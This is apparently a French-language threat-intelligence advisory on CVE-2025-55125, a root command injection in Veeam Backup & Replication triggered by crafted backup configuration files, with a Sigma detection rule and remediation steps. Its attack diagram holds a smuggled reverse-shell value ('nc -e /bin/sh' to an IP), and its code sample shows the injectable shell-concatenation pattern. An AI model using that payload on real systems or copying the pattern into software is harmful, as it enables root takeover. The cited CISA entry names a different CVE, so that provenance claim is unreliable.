CVE-2025-55125 : injection de commandes root via configuration de sauvegarde dans Veeam Backup & Replication

HERMES

HERMES THREAT SCORE & RISQUE DE GESTION DE CONFIGURATION

Cible : Composant d'importation et validation des configurations de sauvegarde Veeam

Confiance : 98%

86 / 100

ÉLEVÉ

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions

Exploitabilité 18 / 20

Activité de menace 16 / 20

Militarisation 18 / 20

Exposition 16 / 20

Prévalence 19 / 20

Impact 20 / 20

Maturité de l'exploit 17 / 20

Potentiel d'attaque en chaîne 20 / 20

⚖️ Divergence & Justification opérationnelle

Hermes évalue la CVE-2025-55125 à un HTS de 86 (ÉLEVÉ). Cette faille autorise un compte opérateur non administrateur à acquérir les privilèges root sur les serveurs de sauvegarde Linux ou les proxies distants. L'injection réside directement dans le désérialiseur de configuration de tâches, permettant une élévation de privilèges radicale à partir d'un simple accès restreint.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2025-55125: Root Command Injection via Backup Configuration in Veeam Backup & ReplicationVULNÉRABILITÉ

Nœuds connectés : 1

Relations sortantes actives

→ affectsCOMPOSANTVeeam Backup & Replication

98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Veeam Backup & Replication documented in Hermes dossier.”

Preuves vérifiées associées :

• [vulnerability_report]
• [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)

Injection de commandes système avec privilèges root

CVSS v3.1 : 7.2 élevé : (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) / CWE-78 : neutralisation incorrecte d’éléments spéciaux utilisés dans une commande du système d’exploitation (OS Command Injection).
Affecte Veeam Backup & Replication versions 13.x antérieures ou égales à 13.0.1.180. Un utilisateur authentifié disposant du rôle Backup Operator ou Tape Operator peut injecter des commandes arbitraires exécutées sous l’identité root en créant ou en téléversant un fichier de configuration de sauvegarde spécialement forgé. Corrigée dans le bulletin KB4716 (version 13.0.1.1071).

Synthèse exécutive

Publiée le 6 janvier 2026 par Veeam Software au sein du bulletin KB4716, la CVE-2025-55125 constitue une faille critique de validation des entrées dans le moteur d’ingestion des modèles de tâches de sauvegarde (Job Configuration Templates).

Lorsqu’un opérateur importe une définition de job ou applique un modèle de sauvegarde automatisé, des directives de pré-exécution ou de post-traitement de clichés instantanés sont transmises aux scripts auxiliaires du système d’exploitation hôte. En raison d’un manque d’assainissement des métacaractères shell dans les champs de métadonnées, des commandes arbitraires sont évaluées directement par le shell sous-jacent avec les privilèges root.

---

1. Métadonnées et surface d’attaque

Paramètre	Spécification technique	Impact opérationnel
Identifiant CVE	CVE-2025-55125	Identifiant officiel NVD / MITRE
Avis de sécurité éditeur	Veeam KB4716	Correctif cumulatif pour VBR v13
Sous-système affecté	Configuration Engine / Job Template Ingestion	Traitement des configurations de sauvegarde
Versions affectées	VBR 13.x $\le$ 13.0.1.180	Installations Linux et proxies renforcés
Version corrigée	Veeam Backup & Replication 13.0.1.1071	Mise à niveau recommandée
Type de vulnérabilité	CWE-78 : OS Command Injection	Élévation locale vers superutilisateur
Rôle minimal requis	Backup Operator ou Tape Operator	Accès restreint au plan de sauvegarde
Privilèges obtenus	root (Linux) / SYSTEM (Windows)	Contrôle complet de l’hôte physique ou virtuel

---

2. Analyse technique de la cause racine

Le moteur d’orchestration de sauvegarde permet d’associer des scripts de pré-gel (pre-freeze) et de post-dégel (post-thaw) lors de la création de sauvegardes cohérentes au niveau applicatif.

Chaîne d'injection de commandes dans la CVE-2025-55125 :

  ┌────────────────────────────────────────────────────────┐
  │ Opérateur de sauvegarde (Backup Operator)              │
  └───────────────────────────┬────────────────────────────┘
                              │ Importation d'un modèle de configuration XML/JSON
                              │ Champ : ScriptPath = "/bin/true; nc -e /bin/sh 10.10.14.5 9001"
                              ▼
  ┌────────────────────────────────────────────────────────┐
  │ Service Veeam Backup (Exécution root)                  │
  │   1. Désérialisation du modèle de configuration        │
  │   2. Passage du chemin vers Process.Start("/bin/sh")   │
  │   3. Absence de validation stricte d'échappement       │
  └───────────────────────────┬────────────────────────────┘
                              │ Exécution du shell enfant
                              ▼
  ┌────────────────────────────────────────────────────────┐
  │ Shell root interactif obtenu par l'attaquant           │
  └────────────────────────────────────────────────────────┘

Mécanisme de l’injection

Lors de l’analyse du fichier de configuration importé, le parseur extrait les chaînes de paramètres associées aux scripts de quiescence sans vérifier qu’il s’agit de chemins d’accès statiques existants :

// Modèle de code vulnérable :
string scriptCommand = config.PreFreezeScript;
ProcessStartInfo psi = new ProcessStartInfo("/bin/sh", "-c " + scriptCommand) {
    UseShellExecute = false,
    RedirectStandardOutput = true
};
Process.Start(psi);

L’utilisation de -c couplée à la concaténation directe permet à n’importe quel opérateur d’insérer des séparateurs de commandes (;, &&, |) pour déclencher une exécution de code arbitraire immédiate avec les droits du service parent (root).

---

3. Détection et surveillance

Règle Sigma : détection d’injection de commande shell par Veeam

title: Injection de commande shell depuis le service Veeam
id: cve-2025-55125-veeam-cmd-injection
status: experimental
description: Détecte l'exécution d'interpréteurs de commandes enfants anormaux depuis les démons Veeam
references:
    - https://www.veeam.com/kb4716
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        ParentImage|endswith:
            - '/veeamsvc'
            - '/VeeamDeploymentService'
        Image|endswith:
            - '/bin/sh'
            - '/bin/bash'
            - '/usr/bin/nc'
            - '/usr/bin/python3'
        CommandLine|contains:
            - ';'
            - '&&'
            - '|'
            - 'nc -'
    condition: selection
level: critical

---

4. Mesures de remédiation

1. Application du correctif KB4716 : mettre à niveau les serveurs vers la version 13.0.1.1071.
2. Désactivation des scripts pré/post personnalisés : dans les environnements à haute sécurité, interdire l’usage de scripts de pré-gel/dégel non signés via les stratégies de groupe Veeam.
3. Audit des configurations importées : restreindre l’importation de fichiers de configuration aux seuls comptes administrateurs principaux.

---

5. Références

• Avis officiel Veeam Software : Veeam Security Bulletin KB4716
• Référentiel NVD : CVE-2025-55125 Detail